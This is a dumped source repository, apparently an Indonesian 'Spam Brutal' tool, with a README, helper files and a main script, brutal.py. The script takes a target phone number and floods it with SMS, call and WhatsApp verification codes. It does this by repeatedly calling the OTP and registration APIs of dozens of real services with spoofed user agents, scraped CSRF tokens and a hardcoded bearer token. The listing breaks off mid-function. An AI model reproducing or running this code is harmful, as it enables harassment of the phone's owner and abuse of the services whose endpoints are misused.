├── harus.txt ├── etc ├── ua.py ├── warn │ └── warn.py ├── loding.py └── bener.py ├── warn └── warn.py ├── README.md ├── .gitignore ├── LICENSE └── brutal.py /harus.txt: -------------------------------------------------------------------------------- 1 | requests 2 | fake_useragent 3 | bs4 4 | -------------------------------------------------------------------------------- /etc/ua.py: -------------------------------------------------------------------------------- 1 | from fake_useragent import UserAgent 2 | ua = UserAgent() 3 | -------------------------------------------------------------------------------- /etc/warn/warn.py: -------------------------------------------------------------------------------- 1 | kun='\033[1;91m' 2 | kan='\033[1;92m' 3 | ken='\033[1;96m' 4 | kon='\033[1;95m' 5 | kin='\033[1;94m' 6 | anj='\033[1;90m' 7 | im='\033[1;97m' 8 | tot='\x1b[105m\x1b[37;1m' 9 | sop='\x1b[0m' 10 | -------------------------------------------------------------------------------- /warn/warn.py: -------------------------------------------------------------------------------- 1 | kun='\033[1;91m' 2 | 3 | kan='\033[1;92m' 4 | 5 | ken='\033[1;96m' 6 | 7 | kon='\033[1;95m' 8 | 9 | kin='\033[1;94m' 10 | 11 | anj='\033[1;90m' 12 | 13 | im='\033[1;97m' 14 | 15 | tot='\x1b[105m\x1b[37;1m' 16 | 17 | sop='\x1b[0m' 18 | 19 | -------------------------------------------------------------------------------- /etc/loding.py: -------------------------------------------------------------------------------- 1 | import os, sys, threading 2 | 3 | from warn.warn import * 4 | 5 | def loding(): 6 | 7 | print (f"{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}{kin}•{kon}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}•{kon}•{kin}") 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spam Brutal All For One 2 | SPAM BRUTAL SMS, CALL, WA 3 | 4 | Tutorial: 5 |

 6 | apt update && apt upgrade
 7 | pkg update
 8 | pkg install python
 9 | git clone https://github.com/AbilSeno/spamallforone
10 | cd spamallforone
11 | pip install -r harus.txt
12 | python brutal.py
13 | >>> Pilih 1
14 | >>> Masukkan no telepon
15 | >>> Selesai
16 | 
17 | -------------------------------------------------------------------------------- /etc/bener.py: -------------------------------------------------------------------------------- 1 | from warn.warn import * 2 | # -*- coding: utf-8 -*- 3 | def bnr(): 4 | print (f""" 5 | {ken} ______ _______ _ ____ ____ 6 | {kon} .' ____ \ |_ __ \ / \ |_ \ / _| 7 | {ken} | (___ \_| | |__) | / _ \ | \/ | 8 | {kon} _.____`. | ___/ / ___ \ | |\ /| | 9 | {ken} | \____) | _| |_ _/ / \ \_ _| |_\/_| |_ 10 | {kon} \______.'|_____||____| |____||_____||_____| 11 | {im}╔═╗┬ ┬{anj} {im}╔═╗┌─┐┬─┐ {anj}╔═╗┌┐┌┌─┐ 12 | {anj}╠═╣│ │{im} {anj}╠╣ │ │├┬┘ {im}║ ║│││├┤ 13 | {im}╩ ╩┴─┘┴─┘{anj} {im}╚ └─┘┴└─ {anj}╚═╝┘└┘└─┘ 14 | {im}•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 15 | {kun}[$] Author : {kin}abilseno11 16 | {kun}[$] Nama SC : {kin}Spam All For One 17 | {kun}[$] Github : {kin}https://github.com/AbilSeno 18 | {kun}[$] Youtube : {kin}Nothing 19 | {im}••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••""") 20 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /brutal.py: -------------------------------------------------------------------------------- 1 | # Semoga, allah, melaknat orang-orang yang suka rekod sc orang, aamiin 2 | import threading, os, sys, json, time 3 | from bs4 import BeautifulSoup as bs 4 | import requests as ru 5 | from fake_useragent import UserAgent 6 | from warn.warn import * 7 | from etc.bener import * 8 | from etc.ua import * 9 | from etc.loding import * 10 | class main: 11 | def main(): 12 | hyu = str(input(f"{kun}[{kan}•{kun}] {im}Masukkan pilihan : ")) 13 | if (hyu == '1') or (hyu == '01'): 14 | os.system("clear") 15 | bnr() 16 | main.start() 17 | elif (hyu == '2') or (hyu == '02'): 18 | os.system("xdg-open https://chat.whatsapp.com/LqEGHqFtQBwLEUbemADmTk") 19 | main.main() 20 | elif (hyu == '3') or (hyu == '03'): 21 | os.system("clear") 22 | bnr() 23 | print (f" {tot}TENTANG TOOL INI{sop} ") 24 | print (f""" 25 | {kan}Tools spam all for one adalah {kon}spam brutal (sms, wa, call) yang dibuat untuk menjahili teman kalian 26 | {kan}Bantu terus admin mengembangkan tools ini, dengan cara tidak merecode sc ini 'v'""") 27 | os.system("python brutal.py") 28 | elif (hyu == '4') or (hyu == '04'): 29 | os.system("git pull") 30 | main.main() 31 | else: 32 | print (f"{kun}[{kan}•{kun}] {kun}Masukkan pilihan dengan benar") 33 | main.main() 34 | def start(): 35 | try: 36 | nom=str(input(f"{kun}[{kan}•{kun}] {im}Masukkan nomor target (ex:88xx) : ")) 37 | if len(nom) <= 5: print (f"{kun}[{kan}•{kun}] {kun}Mohon, masukkan no telp dengan benar");main.start() 38 | print (f"\r{kun}[{kan}•{kun}] {kan}Ok, memulai spamming...") 39 | print (f"{kun}[{kan}•{kun}] {im}Target : {kon}{nom}") 40 | spam.piza(nom) 41 | loding() 42 | spam.map(nom) 43 | loding() 44 | spam.mypoin(nom) 45 | loding() 46 | spam.icq(nom) 47 | loding() 48 | spam.adakami(nom) 49 | loding() 50 | spam.coowry(nom) 51 | loding() 52 | spam.iuga(nom) 53 | loding() 54 | spam.fav(nom) 55 | loding() 56 | spam.suplai(nom) 57 | loding() 58 | spam.chataja(nom) 59 | loding() 60 | spam.depop(nom) 61 | loding() 62 | spam.ruparupa(nom) 63 | loding() 64 | spam.dekoruma(nom) 65 | loding() 66 | spam.jag(nom) 67 | loding() 68 | spam.airbnb(nom) 69 | loding() 70 | spam.kelaspintar(nom) 71 | loding() 72 | spam.payfazz(nom) 73 | loding() 74 | spam.alodokter(nom) 75 | loding() 76 | spam.prosehat(nom) 77 | loding() 78 | spam.theharvest(nom) 79 | loding() 80 | spam.danacinta(nom) 81 | loding() 82 | spam.redbus(nom) 83 | loding() 84 | spam.olx(nom) 85 | loding() 86 | spam.rupiahcepat(nom) 87 | loding() 88 | spam.matahari(nom) 89 | loding() 90 | spam.iviru(nom) 91 | loding() 92 | spam.beltelecom(nom) 93 | loding() 94 | spam.mailru(nom) 95 | loding() 96 | spam.youla(nom) 97 | loding() 98 | spam.oyo(nom) 99 | loding() 100 | # spam.jenius(nom) 101 | # loding() 102 | spam.vadershop(nom) 103 | loding() 104 | print (f"{ken}[{kun}•{ken}] {kan}Proses selesai") 105 | sys.exit() 106 | except ru.ConnectionError:print (f"{ken}[{kun}•{ken}]{kan} Koneksi Error") 107 | except KeyboardInterrupt:print (f"{ken}[{kun}•{ken}]{kun} Program dihentikan") 108 | import itertools 109 | kuni = '\x1b[33m' 110 | def animate(): 111 | for c in itertools.cycle(['|', '/', '-', '\\']): 112 | if done: 113 | break 114 | sys.stdout.write(f'\r{kun}[{kan}•{kun}] {kuni}Loading {kun}' + c+"\n") 115 | sys.stdout.flush() 116 | time.sleep(0.1) 117 | class spam: 118 | def piza(nom): 119 | hd = { 120 | 'user-agent': ua.random , 121 | 'referer': 'https://www.phd.co.id/register', 122 | 'Host': 'api-prod.diqit.io', 123 | 'content-type':'application/json;charset=UTF-8', 124 | } 125 | dat = {'phone':nom} 126 | for x in range(6): 127 | sia = ru.post("https://api-prod.diqit.io/customer/v1/customer/register", headers=hd, json=dat) 128 | if 'error' in sia:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Pizzahut{kun} Gagal") 129 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Pizzahut{kan} OK") 130 | def mypoin(nom): 131 | url = 'https://mypoin.id/register/validate-phone-number' 132 | otp = 'https://mypoin.id/register/request-otp' 133 | r = ru.Session() 134 | uat = {"user-agent": "Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36"} 135 | uatp = {"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","accept-encoding": "gzip, deflate, br","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","content-length": "102","content-type": "application/x-www-form-urlencoded; charset=UTF-8","origin": "https://mypoin.id","referer": "https://mypoin.id/register/validate-phone-number","sec-fetch-mode": "cors","sec-fetch-site": "same-origin","user-agent": "Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36","x-requested-with": "XMLHttpRequest"} 136 | a = r.get(url,headers=uat).text 137 | b = bs(a,'html.parser') 138 | c = b.find("input",attrs={"type":"hidden","name":"csrfmiddlewaretoken"}) 139 | e = r.post(otp,headers=uatp,data={"phone":"62"+nom,"csrfmiddlewaretoken": c["value"]}).text 140 | if e == '{"status": "ok"}': 141 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}MyPoin{kan} OK") 142 | else: 143 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}MyPoin{kun} Gagal") 144 | def map(nom): 145 | hd = { 146 | "Connection": "keep-alive", 147 | "user-agent": ua.random , 148 | } 149 | dat = {'phone':'62'+nom} 150 | for x in range(5): 151 | pil = ru.post("https://cmsapi.mapclub.com/api/signup-otp",data=dat,headers=hd) 152 | if 'error' in pil:print (f"{ken}[{kun}•{ken}] {ken}Spam {kun}({im}{kun}SMS{kun}) {ken}Mapclub{kun} Gagal") 153 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}MapClub{kan} Ok") 154 | def icq(nom): 155 | url = 'https://u.icq.net/api/v14/rapi/auth/sendCode' 156 | hd = { 157 | "accept": "*/*", 158 | "accept-language": "en-US,en;q=0.9,id;q=0.8,mt;q=0.7", 159 | "content-type": "application/json", 160 | "origin": "http://web.icq.com", 161 | "referer": "http://web.icq.com/", 162 | "sec-fetch-dest": "empty", 163 | "sec-fetch-mode": "cors", 164 | "sec-fetch-site": "cross-site", 165 | "user-agent": ua.random , 166 | } 167 | dat = json.dumps({"reqId":"64708-1593781791","params":{"phone":"62"+nom,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) 168 | a = ru.post(url,headers=hd,data=dat).text 169 | b = json.loads(a) 170 | if b['status']['code'] != 20000:print(f'{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}ICQ{kun} Gagal') 171 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}ICQ{kan} OK") 172 | def adakami(nom): 173 | hd = { 174 | "content-type": "application/json; charset=UTF-8", 175 | "content-length": "34", 176 | "accept-encoding": "gzip", 177 | "user-agent": "okhttp/3.8.0", 178 | "accept-language": "in", 179 | "x-ada-token": "", 180 | "x-ada-appid": "800006", 181 | "x-ada-os": "android", 182 | "x-ada-channel": "default", 183 | "x-ada-mediasource": "", 184 | "x-ada-agency": "adtubeagency", 185 | "x-ada-campaign": "AdakamiCampaign", 186 | "x-ada-role": "1", 187 | "x-ada-appversion": "1.7.0", "x-ada-device": "", 188 | "x-ada-model": "SM-G935FD", 189 | "x-ada-os-ver": "7.1.1", "x-ada-androidid": "a4341a2sa90a4d97", 190 | "x-ada-aid": "c7bbb23d-a220-4d43-9caf-153608f9bd39", 191 | "x-ada-afid": "1580054114839-7395423911531673296", 192 | } 193 | dat = {"ketik":0,"nomor":"0"+nom} 194 | datjson = json.dumps(dat) 195 | r = ru.Session() 196 | for spem in range(5): 197 | a = r.post("https://api.adakami.id/adaKredit/pesan/kodeVerifikasi",data=datjson,headers=hd,timeout=10).text 198 | if (a == '{"result":-1,"resultMessage":"Permintaan kode verifikasi sudah melebihi batas. Silakan coba lagi besok.","content":null}') or (a == '{"result":-1,"resultMessage":"Gagal","content":null}'):print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan} {ken}AdaKami{kun} Gagal") 199 | else:print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}AdaKami{kan} OK") 200 | def coowry(nom): 201 | url = 'https://www.coowry.com/arlethdesign' 202 | spam = 'https://www.coowry.com/api/tokens' 203 | hd = { 204 | "accept": "*/*", 205 | "accept-encoding": "gzip, deflate, br", 206 | "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", 207 | "content-length": "28", 208 | "content-type": "application/json", 209 | "origin": "https://www.coowry.com", 210 | "referer": "https://www.coowry.com/arlethdesign", 211 | "sec-fetch-dest": "empty", 212 | "sec-fetch-mode": "cors", 213 | "sec-fetch-site": "same-origin", 214 | "user-agent": ua.random 215 | } 216 | target = {"msisdn":"+62"+nom} 217 | jsn = json.dumps(target) 218 | r = ru.Session() 219 | a = r.get(url,headers={'user-agent':ua.random}).cookies 220 | b = r.post(spam,headers=hd,cookies={'_cwpeople_keyle_key':a["_cwpeople_key"]},data=jsn).text 221 | c = json.loads(b)["type"] 222 | if 'ok' in c:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Coowry{kan} OK") 223 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}{kun}SMS{kan}) {ken}Coowry{kun} Gagal") 224 | def iuga(nom): 225 | pis = nom.replace("+62","") 226 | r = ru.Session() 227 | for x in range(1): 228 | a = r.get('https://www.iuiga.com/register.html',headers={'user-agent':ua.random}).text 229 | b = bs(a,'html.parser') 230 | c = b.find("meta",attrs={"name":"csrf-token"}) 231 | d = r.post('https://www.iuiga.com/login/send-register-code',headers={'user-agent':ua.random},data={"_csrf": c["content"],"phone": pis,"phone_code": "+62","is_login": "0"}).text 232 | if 'success' in d: 233 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}IUGA{kan} Ok") 234 | else:print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}IUGA{kun} Gagal") 235 | def fav(nom): 236 | hd = { 237 | "Host": "api.myfave.com", 238 | "Connection": "keep-alive", 239 | "x-user-agent": "Fave-PWA/v1.0.0", 240 | "User-Agent": ua.random, 241 | "content-type": "application/json", 242 | "Accept": "*/*", 243 | "Origin": "https://m.myfave.com", 244 | "Referer": "https://m.myfave.com/jakarta/auth", 245 | "Accept-Encoding": "gzip, deflate, br", 246 | "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7" 247 | } 248 | dat = {'phone':'62'+nom} 249 | x = ru.post("https://api.myfave.com/api/fave/v3/auth", data=json.dumps(dat), headers=hd).text 250 | if 'error' in x:print(f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CAll{kan}) {ken}Fave{kun} Gagal") 251 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}Fave{kan} OK") 252 | def suplai(nom): 253 | hd = { 254 | "Host": "api.sooplai.com", "accept": "application/json, text/plain, */*", 255 | "User-Agent": ua.random , 256 | "Content-Type": "application/json", 257 | "origin": "https://www.sooplai.com", 258 | "referer": "https://www.sooplai.com/register", 259 | "Accept-Encoding": "gzip, deflate, br", 260 | "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", 261 | } 262 | dat = json.dumps({'phone':'62'+nom}) 263 | for x in range(5): 264 | x = ru.post("https://api.sooplai.com/customer/register/otp/request", data=dat, headers=hd) 265 | if 'error' in x: 266 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Sooplai{kun} Gagal") 267 | else: 268 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Sooplai{kan} OK") 269 | def chataja(nom): 270 | data = json.dumps({"user":{"app_id":"kiwari-prod","phone_number":"62"+nom}}) 271 | a = ru.post('https://api.chataja.co.id/api/v2/auth_nonce',data=data,headers={"Accept": "application/json, text/plain, */*","Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","Connection": "keep-alive","Content-Length": "65","Content-Type": "application/json;charset=UTF-8","Host": "api.chataja.co.id","Origin": "https://web.chataja.co.id","Referer": "https://web.chataja.co.id/","Sec-Fetch-Dest": "empty","Sec-Fetch-Mode": "cors","Sec-Fetch-Site": "same-site","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}).text;b = json.loads(a)["data"] 272 | if b: 273 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ChatAja{kan} OK") 274 | else: 275 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ChatAja{kun} Gagal") 276 | def depop(nom): 277 | hd = {'Host':'webapi.depop.com','content-length':'49','accept':'application/json, text/plain, */*','origin':'https://signup.depop.com','save-data':'on','user-agent':'Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36','content-type':'application/json'} 278 | dat = {'phone_number':nom,'country_code':'ID'} 279 | datjs = json.dumps(dat) 280 | for x in range(3): 281 | y = ru.put("https://webapi.depop.com/api/auth/v1/verify/phone",headers=hd,data=datjs) 282 | if 'error' in y.text: 283 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Depop{kun} Gagal") 284 | else: 285 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Depop{kan} OK") 286 | def ruparupa(nom): 287 | url = 'https://wapi.ruparupa.com/auth/check-otp-auth' 288 | url2 = 'https://wapi.ruparupa.com/auth/generate-otp' 289 | hdurl = { 290 | 'accept': 'application/json', 291 | 'authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiODZhM2Q0ZmEtZDE3Mi00NDkwLTllOTAtN2MyM2UyZjA1MDA0IiwiaWF0IjoxNTk3NjY3MTgzLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.QBFVwucPwKlxWc43abnzEgjbNFOMHXMsXd3EaYk4tyU', 292 | 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7&', 293 | 'content-length': '88', 294 | 'content-type': 'application/json', 'origin': 'https://m.ruparupa.com', 295 | 'referer': 'https://m.ruparupa.com/my-account', 296 | 'sec-fetch-mode': 'cors', 297 | 'sec-fetch-site': 'same-site', 298 | 'user-agent': ua.random , 299 | 'user-platform': 'mobile', 300 | 'x-company-name': 'odi', 'x-frontend-type': 